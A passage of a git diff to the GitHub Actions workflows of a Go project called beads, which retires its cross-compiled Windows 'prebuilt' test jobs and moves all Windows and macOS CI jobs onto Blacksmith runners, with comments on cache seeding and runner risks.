v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - id: restore-go-module-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Install mingw cross-compiler - timeout-minutes: 12 - run: | - updated="" - for attempt in 1 2 3; do - if sudo timeout 120 apt-get -o Acquire::Retries=3 -o Acquire::http::Timeout=30 -o Acquire::https::Timeout=30 update; then - updated=yes - break - fi - echo "::warning::apt-get update attempt $attempt failed or timed out" - if [ "$attempt" -lt 3 ]; then sleep 10; fi - done - if [ -z "$updated" ]; then - echo "::warning::apt-get update failed after 3 attempts; proceeding with cached index" - fi - sudo timeout 300 apt-get install -y gcc-mingw-w64-x86-64 - - - name: Restore Go build cache (Windows cross-compile) - id: restore-xcompile-go-build-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/xcompile-windows-amd64 - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-xcompile-windows-amd64-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-xcompile-windows-amd64- - - - name: Build Windows test binaries - env: - GOCACHE: ${{ runner.temp }}/go-cache/xcompile-windows-amd64 - run: bash scripts/ci/build-windows-test-binaries.sh "$RUNNER_TEMP/win-bin" - - - name: Save Go module cache - if: ${{ !cancelled() && steps.restore-go-module-cache.outputs.cache-hit != 'true' }} - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - - - name: Save Go build cache (Windows cross-compile) - if: ${{ !cancelled() && steps.restore-xcompile-go-build-cache.outputs.cache-hit != 'true' }} - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/xcompile-windows-amd64 - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-xcompile-windows-amd64-${{ github.sha }} - # macOS full -race -short suite. Linux runs the same suite under Bazel # (bazel.yml's `test` lane, on every push to main, executed on rbe-west), @@ -202,30 +110,22 @@ jobs: # Windows uses -tags gms_pure_go to avoid the ICU regex dependency. # go-icu-regex's regex_windows.go also uses Go stdlib regexp (build tag: windows). # CGO is still required for gozstd (bundled C source) and the embedded dolt engine. - # F7b: pr.yml's standalone Windows jobs (test-windows-liveness, - # worktree-remove-windows, etc.) moved to same-repo Blacksmith - # (blacksmith-*vcpu-windows-2025); this job's own module/non-race GOCACHE - # saves already cover the fork/github path (windows-latest), but Blacksmith - # runners cannot see caches `actions/cache` saved from a GitHub-hosted - # runner (and vice versa) even for an identical key, so the `venue` matrix - # dimension here seeds the Blacksmith selection too -- same reasoning as - # windows-test-binaries-cache's `runner` matrix. + # pr.yml's Windows jobs (test-windows-liveness, worktree-remove-windows, + # etc.) run on Blacksmith Windows for every PR, forks included + # (ga-96smfk.22), so this job seeds their module and non-race GOCACHEs on + # that one runner selection: Blacksmith runners cannot see caches + # `actions/cache` saved from a GitHub-hosted runner, and no GitHub-hosted + # Windows consumer is left. test-windows: - name: Test (Windows - smoke, ${{ matrix.venue }}) + name: Test (Windows - smoke) # F7b review fix (B2): push-to-main, same-repo only, like every saver # here (the repository check closes the fork gap). Pinned by # TestBlacksmithSaverJobsGuardedAgainstPullRequest. if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' - runs-on: ${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }} - # F7b review fix (S8): this job now runs on paid Blacksmith Windows - # (4x billing) for its blacksmith venue leg; it previously had no - # timeout-minutes at all. 20 matches test-windows-liveness's timeout - # (S6) for consistency. + runs-on: ${{ 'blacksmith-4vcpu-windows-2025' }} + # F7b review fix (S8): paid Blacksmith Windows (4x billing). 20 matches + # test-windows-liveness's timeout (S6) for consistency. timeout-minutes: 20 - strategy: - fail-fast: false - matrix: - venue: [blacksmith, github] steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -245,11 +145,8 @@ jobs: run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" # F7b review fix (S9): same Windows toolchain diagnostic as pr.yml's - # moved Windows jobs, run here on the Blacksmith leg too (the venue - # this job's github leg already exercises on windows-latest every push - # without issue, so only the blacksmith leg's image is unverified). + # Windows jobs. - name: Check Windows toolchain diagnostics - if: matrix.venue == 'blacksmith' shell: bash run: go env CGO_ENABLED CC GOOS GOARCH @@ -291,11 +188,8 @@ jobs: # (blacksmith-4vcpu-windows-2025), so their cold `cmd/bd` test compiles # (the real long pole; see pr-preflight-platforms' S2 comment) get a # true cache hit. Confirmed to run under Git Bash on Windows (reviewer - # verification); Blacksmith-leg only -- the github (windows-latest) - # venue leg has no PR-side consumer for this namespace, so warming it - # there would be wasted GitHub-hosted cache churn for no reader. + # verification). - name: Warm non-race GOCACHE (Windows preflight/liveness consumers) - if: matrix.venue == 'blacksmith' shell: bash env: GOCACHE: ${{ runner.temp }}/go-cache/non-race @@ -317,30 +211,22 @@ jobs: # macOS saver: pr.yml's pr-preflight-platforms and # check-doc-freshness-platforms macOS legs run on blacksmith-6vcpu-macos-26 - # for same-repo PRs/merge_group and on macos-latest for fork/Dependabot PRs, - # and Blacksmith and GitHub-hosted runners cannot see each other's - # actions/cache entries, so the `venue` matrix seeds both (same convention as - # test-windows). This job is their only seeder - # (and the Blacksmith leg also seeds the `test` job's module and non-race - # caches), and runs only the shared warm-up those legs compile + # for every PR, forks included (ga-96smfk.22). This job is their only + # seeder (and also seeds the `test` job's module and non-race caches), and runs only the shared warm-up those legs compile # (warm-non-race-cache.sh, the same script the Windows seeder uses) # plus the non-test ./cmd/bd build -- no tests, so it stays a few minutes of # macOS time per push. Same push-to-main-only job guard (B2) and go.sum + # UTC-day cache keys (S7) as test-windows, so a PR can never # write this namespace and ordinary push traffic writes at most one - # non-race entry per day per venue. Pinned by + # non-race entry per day. Pinned by # TestBlacksmithSaverJobsGuardedAgainstPullRequest, # TestBlacksmithSaverCacheKeysAreNotPerCommit and # TestBlacksmithMacOSSaverMatchesPRLegs. blacksmith-macos-go-build-cache: - name: Warm macOS Go build cache (${{ matrix.venue }}) - runs-on: ${{ matrix.venue == 'blacksmith' && 'blacksmith-6vcpu-macos-26' || 'macos-latest' }} + name: Warm macOS Go build cache + runs-on: ${{ 'blacksmith-6vcpu-macos-26' }} if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' timeout-minutes: 20 - strategy: - fail-fast: false - matrix: - venue: [blacksmith, github] steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -371,9 +257,8 @@ jobs: key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- - # Records each venue's toolchain in the log so an image drift between - # Blacksmith and GitHub's macos-latest is visible next to the cache it - # seeds. + # Records the toolchain in the log so an image drift is visible next + # to the cache it seeds. - name: Check macOS toolchain diagnostics run: | sw_vers diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index b469bec4f..7a9478e8b 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -23,24 +23,16 @@ concurrency: env: BD_DISABLE_METRICS: "1" BD_DISABLE_EVENT_FLUSH: "1" - # F4 side-by-side rollout: "false" keeps the native windows-latest jobs - # (test-windows-liveness, worktree-remove-windows) as the required pair and - # their Linux-cross-built "-prebuilt" twins (test-windows-liveness-prebuilt, - # worktree-remove-windows-prebuilt) advisory-only. Both pairs run and report - # on every PR regardless of this flag; flipping it to "true" swaps which - # pair ci-gate enforces (the other pair moves to CI_GATE_SKIPPED_OK) without - # touching ci-gate.needs or the env map below -- see the "Evaluate CI gate" # step's run script. Committed, not a repo variable, so a re-run can never # change it. - WINDOWS_PREBUILT_REQUIRED: "true" # bazel.yml's bazel-cmd-dolt lane (the cmd/bd Dolt-server tier: the # Dolt-gated cmd/bd tests no other lane runs) is advisory while this is # "false": it runs and reports in the bazel call (continue-on-error, so a # failure never turns the call's aggregate red), and ci-gate ignores its # BAZEL_CMD_DOLT result. "true" adds BAZEL_CMD_DOLT to CI_GATE_REQUIRED in # the "Evaluate CI gate" step's run script; bazel-gate.sh still accepts - # its skip in modes skip and local. Committed, not a repo variable, for - # the same reason as WINDOWS_PREBUILT_REQUIRED above. The `bazel` job's cmd-dolt-required + # its skip in modes skip and local. Committed, not a repo variable, so a + # re-run can never change it. The `bazel` job's cmd-dolt-required # input must equal it (a `with:` cannot read env; policy-tested): "true" # also drops //cmd/bd:bd_test from bazel-integration, because the required # lane runs the same integration-build bd_test without the dolt skip, so @@ -132,26 +124,18 @@ jobs: # regressions actually execute at PR time. The init credential shell # fixtures are a separate concern and run natively in # pr-preflight-platforms, not here. - # F7b: same-repo Blacksmith (blacksmith-4vcpu-windows-2025) for same-repo - # PRs/merge_group, falling back to windows-latest for forks/Dependabot -- - # same pattern as the Linux same-repo jobs above, with the Windows-2025 - # label instead (public beta; GitHub's windows-2025 image minus the full - # Visual Studio IDE/EdgeDriver/WinAppDriver, VS Build Tools 2022 present, - # no Linux Docker). - # - # RISK (unverified from this sandbox, flagged in the F7b report): the first - # step below builds and runs ./cmd/bd with CGO_ENABLED=1 (embedded Dolt). - # windows-latest's cgo build works today via the toolchain GitHub documents - # for that image; Blacksmith's windows-2025 docs only confirm "VS Build - # Tools 2022" is present, not which cgo toolchain (MSVC/clang-cl vs an - # installed mingw-w64) backs `go build` with CGO_ENABLED=1 there. The - # fork-PR path (windows-latest) is an unaffected, always-on canary for this - # job; if the same-repo leg fails here specifically with a cgo/link error, - # that is the toolchain gap to roll back on (revert this runs-on line to - # the literal `windows-latest`). + # Blacksmith Windows (blacksmith-4vcpu-windows-2025: GitHub's windows-2025 + # image minus the full Visual Studio IDE/EdgeDriver/WinAppDriver, VS Build + # Tools 2022 present, no Linux Docker) for every PR and merge group, forks + # and Dependabot included (ga-96smfk.22): Windows and macOS jobs run on + # Blacksmith, everything Linux under Bazel on rbe-west. The first step + # builds ./cmd/bd with CGO_ENABLED=1 (embedded Dolt); the toolchain + # diagnostic step below prints which cgo toolchain backs it. Since + # ga-96smfk.22 this job (not a cross-compiled "-prebuilt" twin) is the + # required run of these tests. test-windows-liveness: name: Test (Windows) cmd/bd liveness regression - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }} + runs-on: ${{ 'blacksmith-4vcpu-windows-2025' }} # F7b review fix (S6): raised from 15 to 20, matching open PR #7143's own # measurement on this exact job (retained runs take about 8m; one run's # own step timing showed 451s total with a 403s compile step) and @@ -263,12 +247,12 @@ jobs: # on the second step only ensures it still runs after the first fails, # giving both packages' results in one log instead of stopping at the # first failure. No aggregator step is needed. - # F7b: same-repo Blacksmith (blacksmith-2vcpu-windows-2025); both steps + # Blacksmith Windows (blacksmith-2vcpu-windows-2025) for every PR; both steps # build with CGO_ENABLED=0 (or no cgo at all for doltversion), so this job # carries none of test-windows-liveness's cgo-toolchain risk. test-windows-small: name: Test (Windows) small packages (doltversion, dbproxy server) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-windows-2025' || 'windows-latest' }} + runs-on: ${{ 'blacksmith-2vcpu-windows-2025' }} timeout-minutes: 15 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -304,13 +288,12 @@ jobs: # Destructive worktree removal depends on native Windows path identity. # This focused process suite requires NTFS per-directory case sensitivity # and fails (rather than skips) when the runner cannot provide it. - # F7b: same-repo Blacksmith (blacksmith-4vcpu-windows-2025). CGO_ENABLED=0 - # below, so no cgo-toolchain risk; this leg's non-race GOCACHE restore-keys - # prefix now gets a hit from main.yml's test-windows job, whose `venue` - # matrix extension (F7b) saves that same key on this exact runner - # selection (restore-keys falls back to the most recent prefix match - # regardless of the exact sha, same as build-artifacts already does for - # the Linux preflight/doc-freshness legs). + # Blacksmith Windows (blacksmith-4vcpu-windows-2025) for every PR. + # CGO_ENABLED=0 below, so no cgo-toolchain risk; its non-race GOCACHE + # restore-keys prefix gets a hit from main.yml's test-windows job, which + # saves that key on this exact runner selection (restore-keys falls back + # to the most recent prefix match regardless of the exact sha). Since + # ga-96smfk.22 this job is the required run of these tests. # # RISK (F7b review: not flagged in the original implementation -- # cmd/bd/worktree_remove_git_windows_test.go:233 shells out to @@ -321,12 +304,11 @@ jobs: # does not treat an unsupported fsutil call as a skip condition). The # diagnostic step below surfaces that gap in this job's own log instead of # a bare test failure deep in the suite; if it reports the feature missing, - # roll back this job's runs-on to the literal `windows-latest` (same - # rollback as test-windows-liveness's cgo risk above) until Blacksmith - # confirms/enables it. + # roll back this job's runs-on to the literal `windows-latest` until + # Blacksmith confirms/enables it. worktree-remove-windows: name: Worktree remove boundary (Windows) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }} + runs-on: ${{ 'blacksmith-4vcpu-windows-2025' }} timeout-minutes: 15 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -373,203 +355,6 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/non-race run: go test -tags gms_pure_go -count=1 -run '^TestWorktreeRemove' ./cmd/bd - # F4 side-by-side rollout (advisory phase): cross-compiles the Windows test - # binaries this file's native Windows jobs need, from a committed manifest - # (scripts/ci/windows-test-binaries.txt), on a Linux runner via mingw-w64 -- - # the same toolchain release.yml's goreleaser job uses for the shipped - # bd-windows-amd64 binary (CC=x86_64-w64-mingw32-gcc; see .goreleaser.yml). - # The "-prebuilt" twin jobs below download this artifact and run it - # natively on windows-latest instead of compiling there, so the CGO build - # that otherwise runs once per Windows job runs here once instead. - # - # Deliberately advisory only: the native `test-windows-liveness` and - # `worktree-remove-windows` jobs above are untouched and still the only - # required pair while WINDOWS_PREBUILT_REQUIRED (top of this file) is - # "false". ci-gate does wait on this job's two twins below (they are in its - # `needs`), but neither twin's result is in CI_GATE_REQUIRED yet -- the - # side-by-side phase runs both paths on every PR so a policy test - # (TestWindowsTestBinariesSelectSameTestsAsNativeJobs, in - # scripts/windows_test_binaries_manifest_test.go) can confirm they select - # the same tests before anyone flips WINDOWS_PREBUILT_REQUIRED to "true". - # - # Manifest is intentionally partial in this phase: it covers only the two - # cmd/bd-backed jobs twinned below. Forks and Dependabot PRs get no - # secrets here, same as every job in this file -- cross-compiling and - # uploading an artifact needs none. - windows-test-binaries: - name: Build Windows test binaries (cross-compile) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-8vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 30 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Verify Go module checksums - run: go mod verify - - - name: Install mingw cross-compiler - timeout-minutes: 12 - run: | - updated="" - for attempt in 1 2 3; do - if sudo timeout 120 apt-get -o Acquire::Retries=3 -o Acquire::http::Timeout=30 -o Acquire::https::Timeout=30 update; then - updated=yes - break - fi - echo "::warning::apt-get update attempt $attempt failed or timed out" - if [ "$attempt" -lt 3 ]; then sleep 10; fi - done - if [ -z "$updated" ]; then - echo "::warning::apt-get update failed after 3 attempts; proceeding with cached index" - fi - sudo timeout 300 apt-get install -y gcc-mingw-w64-x86-64 - - - name: Restore Go build cache (Windows cross-compile) - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/xcompile-windows-amd64 - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-xcompile-windows-amd64-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-xcompile-windows-amd64- - - - name: Build Windows test binaries - env: - GOCACHE: ${{ runner.temp }}/go-cache/xcompile-windows-amd64 - run: bash scripts/ci/build-windows-test-binaries.sh "$RUNNER_TEMP/win-bin" - - - name: Upload Windows test binaries - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: windows-test-binaries - path: ${{ runner.temp }}/win-bin - retention-days: 1 - compression-level: 1 - if-no-files-found: error - - # Advisory twin of test-windows-liveness: runs the identical test selection, - # flags, and env on windows-latest, but against the binary - # windows-test-binaries cross-compiled instead of compiling here. Step - # names, -run patterns, -count, and the PASS/FAIL parsing block are kept - # byte-for-byte equivalent to the native job on purpose -- - # TestWindowsTestBinariesSelectSameTestsAsNativeJobs checks the -run - # literals stay in sync. - # F7b: same-repo Blacksmith (blacksmith-2vcpu-windows-2025). This leg only - # runs a prebuilt binary (cross-compiled on Linux by windows-test-binaries - # via mingw-w64) rather than compiling with cgo on the Windows runner - # itself, so it carries none of test-windows-liveness's cgo-toolchain risk. - test-windows-liveness-prebuilt: - name: Test (Windows, prebuilt) cmd/bd liveness regression - needs: windows-test-binaries - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-windows-2025' || 'windows-latest' }} - timeout-minutes: 15 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Download Windows test binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: windows-test-binaries - path: ${{ runner.temp }}/win-bin - - - name: Verify downloaded binaries - shell: bash - run: | - cd "$RUNNER_TEMP/win-bin" - sha256sum -c SHA256SUMS - - # F7b review fix (S9): these binaries are cgo-linked on Linux via - # mingw-w64 (windows-test-binaries), not compiled on this runner, so - # the risk here is specifically whether a cross-compiled binary loads - # and runs at all on Blacksmith's windows-2025 image (missing runtime - # DLLs, etc.), not the cgo-toolchain risk test-windows-liveness - # carries. `-run '^$'` loads/links the binary and matches no tests, so - # a load failure surfaces here instead of inside the real test step. - - name: Check prebuilt Windows binary loads - shell: bash - run: bash scripts/ci/run-go-test-binary.sh "$RUNNER_TEMP/win-bin/cmd-bd-cgo.test.exe" ./cmd/bd -run '^$' -count=1 - - - name: Run native Windows global Prime override (prebuilt) - shell: bash - run: | - export BEADS_TEST_PREBUILT_TEST_BINARY="$RUNNER_TEMP/win-bin/cmd-bd-cgo.test.exe" - export BEADS_TEST_BD_BINARY="$RUNNER_TEMP/win-bin/bd.exe" - go_path=$(command -v go) - [[ "$("$go_path" env GOHOSTOS GOOS)" == $'windows\nwindows' ]] - test_status=0 - test_output=$(./scripts/test.sh -v -timeout 5m -run '^TestPrimeBinaryPortfolio$/^TestPrime_HookJSON_GlobalPrimeOverride$' -count=1 ./cmd/bd) || test_status=$? - printf '%s\n' "$test_output" - ((test_status == 0)) - pass_pattern='^[[:space:]]*--- PASS: TestPrimeBinaryPortfolio/TestPrime_HookJSON_GlobalPrimeOverride \(' - nonpass_pattern='^[[:space:]]*--- (FAIL|SKIP): ' - pass_count=0 - while IFS= read -r line; do - if [[ "$line" =~ $pass_pattern ]]; then - ((pass_count += 1)) - fi - if [[ "$line" =~ $nonpass_pattern ]]; then - exit 1 - fi - done <<<"$test_output" - ((pass_count == 1)) - - - name: Run Windows liveness regression test (prebuilt) - shell: bash - run: bash scripts/ci/run-go-test-binary.sh "$RUNNER_TEMP/win-bin/cmd-bd-cgo.test.exe" ./cmd/bd -run '^TestIsServerProbablyRunning' -count=1 - - # Advisory twin of worktree-remove-windows: same package, -run pattern, and - # CGO_ENABLED=0 selection as the native job, but against the cgo=0 binary - # windows-test-binaries cross-compiled instead of compiling here. - # F7b: same-repo Blacksmith (blacksmith-2vcpu-windows-2025); same prebuilt- - # binary rationale as test-windows-liveness-prebuilt above. - worktree-remove-windows-prebuilt: - name: Worktree remove boundary (Windows, prebuilt) - needs: windows-test-binaries - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-windows-2025' || 'windows-latest' }} - timeout-minutes: 15 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download Windows test binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: windows-test-binaries - path: ${{ runner.temp }}/win-bin - - - name: Verify downloaded binaries - shell: bash - run: | - cd "$RUNNER_TEMP/win-bin" - sha256sum -c SHA256SUMS - - # F7b review fix (S9): see test-windows-liveness-prebuilt's identical - # step for the full rationale. - - name: Check prebuilt Windows binary loads - shell: bash - run: bash scripts/ci/run-go-test-binary.sh "$RUNNER_TEMP/win-bin/cmd-bd-nocgo.test.exe" ./cmd/bd -run '^$' -count=1 - - - name: Run native Windows worktree removal boundary tests (prebuilt) - shell: bash - run: bash scripts/ci/run-go-test-binary.sh "$RUNNER_TEMP/win-bin/cmd-bd-nocgo.test.exe" ./cmd/bd -run '^TestWorktreeRemove' -count=1 - # Check documentation references match actual CLI flags # # Stays a job: the generated CLI docs describe the release pinned in @@ -631,35 +416,19 @@ jobs: # (integration lane: the doc-freshness suite under -required-suite) and # //scripts/gitattributespolicy:gitattributespolicy_required_host_test # (-required-host -expected-goos linux), both on rbe-west's Linux workers. - # The macOS and Windows legs stay here, on Blacksmith for same-repo PRs and - # merge groups (GitHub-hosted for forks and Dependabot). - # - # F7b: same-repo Blacksmith for the Linux/Windows legs via the "matrix - # marker" form (spec F7/F7b §2.1): Actions does not expand `${{ }}` inside a - # matrix array/include value, so each leg's `include` entry instead carries - # a plain string `runner` marker, and the job's `runs-on` is a single - # chained ternary (sameRepoPlatformsMatrixMarkerRunsOn in - # scripts/ci_blacksmith_runner_test.go) that resolves per-marker, falling - # back to `matrix.os` for forks/Dependabot (each marker's own same-repo - # condition false) or any leg with no marker. Every leg now restores a - # non-race Go build cache seeded by main.yml's push-to-main savers on the - # exact same runner selection (S2 below). - # - # The macOS leg moves to same-repo Blacksmith macOS - # (blacksmith-6vcpu-macos-26, Apple Silicon) like the other two legs; forks, - # Dependabot and any non-PR event keep GitHub-hosted macos-latest. The label - # is pinned to macos-26 because that is the image GitHub's macos-latest - # resolves to today (macos-26-arm64), so both paths run the same OS and - # architecture; bump it together with GitHub's macos-latest migration. - # 6 vCPU (vs. macos-latest's 3) is already 2x the GitHub-hosted leg; the - # 12 vCPU size is not justified for a leg dominated by one incremental - # ./cmd/bd test compile. This reverses F7b review fix S3 (cost accepted): - # main.yml's blacksmith-macos-go-build-cache job is the push-to-main - # Blacksmith-macOS saver S3 said was missing, on this exact label, and the - # GitHub-hosted fork path still restores main.yml's `test` job macOS leg. + # The macOS and Windows legs stay here, on Blacksmith for every PR and + # merge group, forks and Dependabot included (ga-96smfk.22). Each leg's + # `include` entry names its Blacksmith label in `runner` (`os` keeps the + # check names stable and selects the Windows-only steps). Every leg + # restores a non-race Go build cache seeded by main.yml's push-to-main + # savers on the exact same label (S2 below): test-windows for Windows, + # blacksmith-macos-go-build-cache for macOS. The macOS label is pinned to + # macos-26 (Apple Silicon, the image GitHub's macos-latest resolves to); + # 6 vCPU is enough for a leg dominated by one incremental ./cmd/bd test + # compile. check-doc-freshness-platforms: name: Check doc freshness (${{ matrix.os }}) - runs-on: ${{ matrix.runner == 'same-repo-linux' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest') || matrix.runner == 'same-repo-windows' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest') || matrix.runner == 'same-repo-macos' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-6vcpu-macos-26' || 'macos-latest') || matrix.os }} + runs-on: ${{ matrix.runner }} timeout-minutes: 10 strategy: fail-fast: false @@ -667,10 +436,10 @@ jobs: include: - os: macos-latest expected_goos: darwin - runner: same-repo-macos + runner: blacksmith-6vcpu-macos-26 - os: windows-latest expected_goos: windows - runner: same-repo-windows + runner: blacksmith-4vcpu-windows-2025 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -711,10 +480,14 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/non-race run: go test '-tags=integration,gms_pure_go' -count=1 ./scripts/gitattributespolicy -args -required-host -expected-goos '${{ matrix.expected_goos }}' - # F7b: same-repo Blacksmith via the "matrix marker" form (see - # check-doc-freshness-platforms above for the full explanation; - # sameRepoPlatformsMatrixMarkerRunsOn in scripts/ci_blacksmith_runner_test.go - # is this same chained ternary). + # Blacksmith macOS and Windows legs, labels in the matrix (see + # check-doc-freshness-platforms above). The Linux leg is retired + # (ga-96smfk.22): every Linux step's tests run under Bazel on rbe-west + # (//scripts:scripts_test, //cmd/bd:bd_test, //internal/config:config_test). + # Only the two + # tests of go test's own bd build fallback + # (tools/bazel/equivalence_allowlist.txt) skip under Bazel; they keep + # running here on macOS and Windows. # # F7b review (S1): an earlier revision of this job split the Windows leg # into two `shard` entries on the theory that it would turn one ~9-minute @@ -728,21 +501,18 @@ jobs: # step) for the fix that actually targets it. Reverted to one leg per OS. pr-preflight-platforms: name: PR preflight process (${{ matrix.os }}) - runs-on: ${{ matrix.runner == 'same-repo-linux' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest') || matrix.runner == 'same-repo-windows' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest') || matrix.runner == 'same-repo-macos' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-6vcpu-macos-26' || 'macos-latest') || matrix.os }} + runs-on: ${{ matrix.runner }} timeout-minutes: 20 strategy: fail-fast: false matrix: include: - - os: ubuntu-latest - expected_goos: linux - runner: same-repo-linux - os: macos-latest expected_goos: darwin - runner: same-repo-macos + runner: blacksmith-6vcpu-macos-26 - os: windows-latest expected_goos: windows - runner: same-repo-windows + runner: blacksmith-4vcpu-windows-2025 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -761,16 +531,14 @@ jobs: restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- # F7b review (S2): restore-only non-race Go build cache, seeded by the - # push-to-main saver on the exact same runner selection (Linux: - # main.yml's blacksmith-go-build-cache non-race leg; Windows: - # main.yml's test-windows Blacksmith leg; macOS: main.yml's - # blacksmith-macos-go-build-cache on Blacksmith, the test job's macOS - # leg on the GitHub-hosted fork path) so the cold cmd/bd compile below (the real long pole, - # 250-300s uncached) gets a true cache hit instead of starting cold. - # GOCACHE must match the seeder's exactly, and CGO_ENABLED is left at - # its platform default (same as the seeder) so the key families line - # up; see mainBlacksmithGoBuildCacheRunsOn / 